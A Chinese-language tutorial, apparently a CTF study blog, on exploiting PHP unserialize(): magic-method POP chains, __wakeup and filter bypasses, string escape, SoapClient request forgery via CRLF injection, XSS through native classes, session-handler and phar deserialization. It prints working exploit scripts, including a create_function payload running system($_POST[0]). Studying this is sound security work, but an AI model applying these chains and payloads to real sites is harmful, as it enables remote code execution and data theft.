php反序列化

 

介绍

前提

1.unserialize()函数的变量可控

2.php文件中存在可利用的类, 类有魔术方法

不同类型的字母含义

a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

属性类型

序列化也会把变量的属性存储到字符串里

image-20220607224313263

演示

最简单的序列化

<?php
class S{
    var $test = "kradress";
    function __construct(){
        // echo $this->test;
    }
}
//创建实例化对象
$c = new S();
//输出: O:1:"S":1:{s:4:"test";s:8:"kradress";}
echo serialize($c);
// O : 代表 object
// 1 : 代表对象名字长度为1个字符
// "S" : 对象的名称
// 1 :  代表对象里面有1个变量
// s : 数据类型(string)
// 4 : 变量名称长度
// "test" : 变量名称
// 8 : 变量值的长度
// "kradress" : 变量值

最简单的反序列化漏洞

反序列化的数据本质上来说是没有危害的,用户可控数据进行反序列化是存在危害的,反序列化的危害,关键还是在于可控或不可控。 ​


<?php

class S{
  var $test = "kradress";
  function __construct(){    //当一个对象创建时被调用
  echo $this->test;
   }
}

//创建实例化对象
$c = new S();

//反序列化后,如果test 可控 类在实例化的时,值会传入this->test 因为是 echo 内容是直接输出会造成 xss 漏洞。
$u=unserialize($_GET['url']);

把类直接拿过来,除了变量都删掉再本地用serialize序列化,拿到O:1:"S":1:{s:4:"test";s:8:"kradress";}

对test变量进行注入,?url=O:1:"S":1:{s:4:"test";s:26:"<script>alert(1);</script>";}

image-20220607224330327

魔术方法

介绍

重点: __construct()           //对象创建时会自动调用。
重点: __wakeup()          //使用unserialize时触发
__sleep()           //使用serialize时触发,必须返回一个数组
重点: __destruct()            //对象被销毁时触发
__call()            //在对象上下文中调用不可访问的方法时触发
__debuginfo  //当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__callStatic()      //在静态上下文中调用不可访问的方法时触发
__get()             //读取不可访问或不存在属性时被调用
__set()             //用于将数据写入不可访问的属性
__set_state   //当调用var_export()导出类时,此静态方法被调用,用__set_state的返回值做为var_export的返回值
__isset()           //在不可访问的属性上调用isset()或empty()触发
__unset()           //在不可访问的属性上使用unset()时触发
__toString()            //把类当作字符串使用时触发
__invoke()                    //当脚本尝试将对象调用为函数时触发
__autoload()                 //在代码中当调用不存在的类时会自动调用该方法。
__serialize():                  //该方法将在任何序列化之前优先执行。它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回,如果没有返回数组,将会抛出一个 TypeError 错误。
    //如果类中同时定义了 __serialize() 和 __sleep() 两个魔术方法,则只有 __serialize() 方法会被调用。 __sleep() 方法会被忽略掉。如果对象实现了 Serializable 接口,接口的 serialize() 方法会被忽略,做为代替类中的 __serialize() 方法会被调用。
unserialize()             //传递从 __serialize() 返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性。
     //PHP 7.4.0+,如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

演示

<?php

class Str3am{
    public $var1 = 'abc';
    public $var2 = '123';

    //类在调用时输出
    public function echoP(){
        echo $this->var1.'<br>';
    }

    //类在实例化的时候输出
    public function __construct(){
        echo "__construct<br>";
    }

    //类在被销毁前(实例化结束或者反序列化)输出
    public function __destruct(){
        echo "__destruct<br>";
    }

    //类在当作字符串时输出
    public function __toString(){
        return "__toString<br>";
    }

    //类在序列化的时候调用(前提是有该方法),必须返回一个数组
    public function __sleep(){
        echo "__sleep<br>";
        // 注意返回带类中所有变量名称的数组
        return array('var1', 'var2');
    }

    //类在反序列化的时候调用
    public function __wakeup(){
        echo "__wakeup<br>";
    }

}

    // 创建对象,输出__construct
    $obj = new Str3am();
    // 调用 echoP 方法
    $obj->echoP();
    // 把类当做字符串输出,输出__toString
    echo $obj;
    // 序列化对象,输出__sleep
    s = serialize(obj);
    // O:6:"Str3am":2:{s:4:"var1";s:3:"abc";s:4:"var2";s:3:"123";}
    echo $s.'<br>';
    // 反序列对象,输出__wakeup
    unserialize($s);
    // 脚本结束,对象被销毁,输出两个 __destruct,还有一个是 unserialize 恢复的对象
?>

绕过方法

__wakeup

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

__unserialize

php7.4以上版本和wakeup同时存在时,wakeup不生效

fast destruct(快速析构)

类需要利用析构方法进行某种操作(帮助你去拿flag),但是在析构之前会调用一些方法进行过滤或干扰,常见的出题形式:

<?php
$obj = unserialize($_GET['exp']);
$obj->safe_filter(); // 进行安全检查的方法

快速析构的原理:

当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法。

快速析构的触发畸形字符串的构造

  1. 改掉属性的个数
  2. 删掉结尾的}

字符逃逸

本质

对序列化字符串进行不等长的字符串替换,导致本来属于普通字符串的一部分字符串变成了序列化的一部分,或者导致本来不属于字符串的一部分变成了字符串的一部分,进而造成了序列化数据的错乱,导致了对象注入。

思路

做题

  1. 写出基本序列化
  2. 写出注入的对象
  3. 分析是长到短还是短到长的替换,决定要把对象注入到什么地方
  4. 算清楚替换的差值,计算需要吃掉或挤出(逃逸)的字符串的长度,保证这个长度是替换的差值的整数倍,如果不能保证,加字符串
  5. 构造替换,对象注入

长到短的替换

在第一个元素进行替换,进而吃掉第二个元素的约束,第二个元素就逃逸出来了。

数组特性

<?php class A{
	public function f(){
		echo "i am f() from class A";
	}}
$arr = [new A, 'f'];
$arr(); //i am f() from class A

当一个数组被当做函数触发时,数组第一个元素是对象,第二个元素是方法的名字(字符串),那么就会调用该对象下的该方法。

例题

<?php
error_reporting(0);
class func
{
public $mod1;
public $mod2;
public $key;
// public function __destruct()
// {
//         unserialize($this->key)();
//         $this->mod2 = "welcome ".$this->mod1;
// }
}
class GetFlag
{
    public $code = 'return(0);}echo(123);system($_POST[0]);//';
    public $action = "create_function";
 // public function get_flag(){
//  $a=$this->action;
//  $a('', $this->code);
//  }
}
//unserialize($_GET[0]);
$gf = new GetFlag;
$arr = [$gf, 'get_flag'];
$f = new func;
$f->key = serialize($arr);
echo urlencode(serialize($f));

easy unserialize(ctfshow卷王杯)

题目

<?php
include("./HappyYear.php");
class one {
    public $object;

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    protected $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;  //$this->$name为$string的值
        $var[$name](); //$name 为 “string”
    }
}

if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

exp

<?php
class one {
    public $object;
}

class second {
    protected $filename;
    public function __construct($filename){
        $this->filename=$filename;
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }
}

$a3=new one();
$a2=new one();
$a1=new one();
$a1->object=new second($a2);
$a2->object=new third(['string'=>[$a3,'MeMeMe']]);
$a3->year_parm=['Happy_func'];
echo urlencode(serialize($a1));

array_walk

使用用户自定义函数对数组中的每个元素做回调处理

20220303231045

反序列化小技巧

构造序列化时

序列化的时候进行url编码后再输出,如果变量属性是public或者Protected的化序列化的时候会有不可见字符

echo(urlencode(serialize(new S())));

属性赋值

  1. 直接写

    优点是方便,缺点是只能赋值字符串

class DEMO1{
    public $func = 'evil';
    public $arg = 'phpinfo();';
}
  1. 外部赋值

    优点是可以赋值任意类型的值,缺点是只能操作public属性。

<?php
class DEMO1{
    public $func;
    public $arg ;
}
$o = new DEMO1();
$o->func = 'evil';
$o->arg = 'phpinfo();';
echo(urlencode(serialize($o)));

小技巧:

对于php7.1+的版本,反序列化对属性类型不敏感。尽管题目的类下的属性可能不是public,但是我们可以本地改成public,然后生成public的序列化字符串。由于7.1+版本的容错机制,尽管属性类型错误,php也认识,也可以反序列化成功。
基于此,可以绕过诸如\\0字符的过滤。
  1. 构造方法赋值(万能方法)

    优点是解决了上述的全部缺点,缺点是有点麻烦

<?php
class DEMO1{
    public $func;
    public $arg ;
    function __construct(){
        $this->func = 'evil';
    }
}
$o = new DEMO1();
echo(urlencode(serialize($o)));

常见步骤

起点

 __wakeup一定会调用
 __destruct一定会调用
 __toString当一个对象被反序列化后又被当做字符串使用

中间跳板

__toString当一个对象被当做字符串使用
__get读取不可访问或不存在属性时被调用
__set当给不可访问或不存在属性赋值时被调用
__isset对不可访问或不存在的属性调用 isset()  empty() 时被调用形如 this->func();

终点

__call调用不可访问或不存在的方法时被调用
call_user_func一般php代码执行都会选择这里
call_user_func_array一般php代码执行都会选择这里
还有一些能拿到flag或者rce的方法

原生类反序列化

SoapClient(发送请求)

ctfshow259

这个类中有个__call魔术方法,当调用一个对象中不存在的方法时候,会执行call()魔术方法。来达到我们伪造请求头的目的。

例题 ctfshow259 index.php

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

Notice: Undefined index: vip in /var/www/html/index.php on line 6

Fatal error: Uncaught Error: Call to a member function getFlag() on bool in /var/www/html/index.php:8 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 8

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

构造SoapClient的类对象的时候,需要有两个参数,字符串$wsdl和数组$options

20220212214629

关于WSDL可以看下大佬的文章,这里值为NULL就好了

https://blog.csdn.net/yhahaha_/article/details/93716263

options传入我们要构造的请求头,uri和location必须要设置,我们可以本地构造一下,user_agent可以注入,要小写

exp

<?php
$ua = "kradress\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php', 'user_agent' => $ua));

echo(urlencode(serialize($client)));

补充几个小细节

HTTP请求头之间的参数用一个\r\n分隔
HTTP Header与HTTP Body是用两个\r\n分隔的

这个是有关CRLF的知识点,可以看大佬博客:

https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html

Error(XSS)

适用于php7版本

<?php
$a = new Error("<script>alert(1)</script>");
echo urlencode(serialize($a));

Exception(XSS)

适用于php5、7版本

<?php
$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));

Bypass

正则

/[oc]:\d+:/i

O:后面的数字是类名的长度,类型为int,加一个+就能绕过

    $a = serialize(new ctfShowUser());
    $a = str_replace('O:', 'O:+', $a);
    echo urlencode($a);

关键字绕过

hex 通用

s:1:"A"S:1:"\61" 是一样的意思

当标识字符串的s为大写时,\hex标识对应字符

所以绕过flag过滤:S:4:”\66\6c\61\67"

绕过\0字符 php7.1+

把类的属性改成public

虽然类中定义的属性可能不是public,但是我们可以假装他是public,然后生成public类型的序列化字符串。由于PHP7.1+版本的反序列化容错机制,它允许你出现这种错误,并且也懂你什么意思,所以依然可以反序列化成功。

md5级加密

让你和类似md5+随机数或者uniqid()的变量全等,可以用php中的引用&去解决,类似于c语言中的指针,指向变量的内存地址

<?php


class B {
   public $x ;
   public $y ;
}

$a = new B;
$a ->input = &$a->correct;

session反序列化

介绍

php在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取$_SESSION数据,都会对数据序列化和反序列化

php . ini 中默认 session.serialize_handler 为 php_serialize,而 index.php 中将其设置为 php ,这个差异就导致了 sesssion 反序列化问题。

20220212211204

php有三种处理器对$_SESSION数据进行序列化和反序列化。

php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值

php 键名+竖线|+经过serialize()函数处理过的值

php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

php_binary

image-20220607224458776

php

20220212215758

php_serialize

image-20220607224510508/PicBed/images_for_blogs/20220212215724.png)

session上传

20220212221639

<!DOCTYPE html>
<html>
<body>
<form action="http://127.0.0.1/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

(盗用Y1ng师傅的图)

image-20220607224538497

phar

在上传包含中的利用

可以上传图片,不能上传php; 可以包含,但是只能include('$userinput.php');

压缩一个shell.php到1.zip,重命名为1.png,上传 包含:zip://upload.png#shellphar://upload.png/shell

phar反序列化的条件

  1. 需要有可用的类,类下有魔术方法,最后POP chain调用到危险方法。
  2. 需要文件操作函数去触发phar:// stream
  3. 有上传或者写文件的操作,可以把无损phar文件写入web服务器,后缀名任意。

本地phar的条件

php.ini phar.readonly = off

构造phar反序列化

  1. 把class定义的代码抄下来,把方法注释了
  2. 构造pop链
  3. echo serialize($o) 不对

  4. 要贴phar八股文

例题

<?php
class Template{
	public $content = '<?php phpinfo();?>'; //shell
	public $pattern;
	public $suffix = '.php'; //后缀
}
$o = new Template;

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a".'<?php __HALT_COMPILER(); ?>'); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

5.写入或者上传生成的phar文件

burp用Paste from file

20220326230517

6.用phar://协议访问,

phar://phar.phar/test.txt
phar://phar.zip/test.txt
phar://phar.jpg/test.txt